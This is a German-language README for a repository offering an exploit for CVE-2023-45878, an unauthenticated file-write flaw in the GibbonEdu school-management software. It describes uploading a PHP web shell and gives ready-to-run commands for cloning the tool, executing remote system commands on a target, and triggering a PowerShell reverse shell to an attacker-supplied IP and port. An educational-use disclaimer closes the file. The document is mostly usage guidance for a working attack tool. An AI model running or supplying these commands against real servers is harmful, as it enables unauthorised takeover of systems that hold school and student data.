CVE-2023-45878

GibbonEdu – Beliebiger Datei-Schreibzugriff zur Web-Shell-Ausführung

Beschreibung

Dieses Repository enthält einen Exploit für CVE-2023-45878, eine Schwachstelle zum willkürlichen Schreiben von Dateien (Arbitrary File Write) in GibbonEdu. Die Schwachstelle betrifft den Endpunkt rubrics_visualise_saveAjax.php und ermöglicht es einem nicht authentifizierten Angreifer, beliebige Dateien auf den Webserver hochzuladen.

Dieses Skript nutzt die Schwachstelle aus, um eine PHP-Web-Shell hochzuladen und entweder:

• einen bestimmten Systembefehl auszuführen;
• eine base64-kodierte PowerShell-Reverse-Shell zu triggern, um Fernzugriff zu erhalten.

Verwendung

Das Skript unterstützt zwei Betriebsmodi:

• --command (-c): Führt einen bestimmten Systembefehl remote aus.
• --shell (-s): Triggert eine PowerShell-Reverse-Shell zum Listener des Angreifers.

So führen Sie den Exploit aus

1. Repository klonen

git clone https://github.com/davidzzo23/CVE-2023-45878.git
cd CVE-2023-45878

2. Den Web-Shell-Exploit ausführen

• Einen Remote-Befehl ausführen:

python3 CVE-2023-45878.py -t <target_domain> -c "whoami"

• Eine PowerShell-Reverse-Shell auslösen:

python3 CVE-2023-45878.py -t <target_domain> -s -i <ip> -p <port>

Haftungsausschluss

Dieses Skript ist ausschließlich für Bildungszwecke bestimmt. Die unbefugte Nutzung dieses Exploits auf Systemen ohne Erlaubnis ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diesen Exploit entstehen.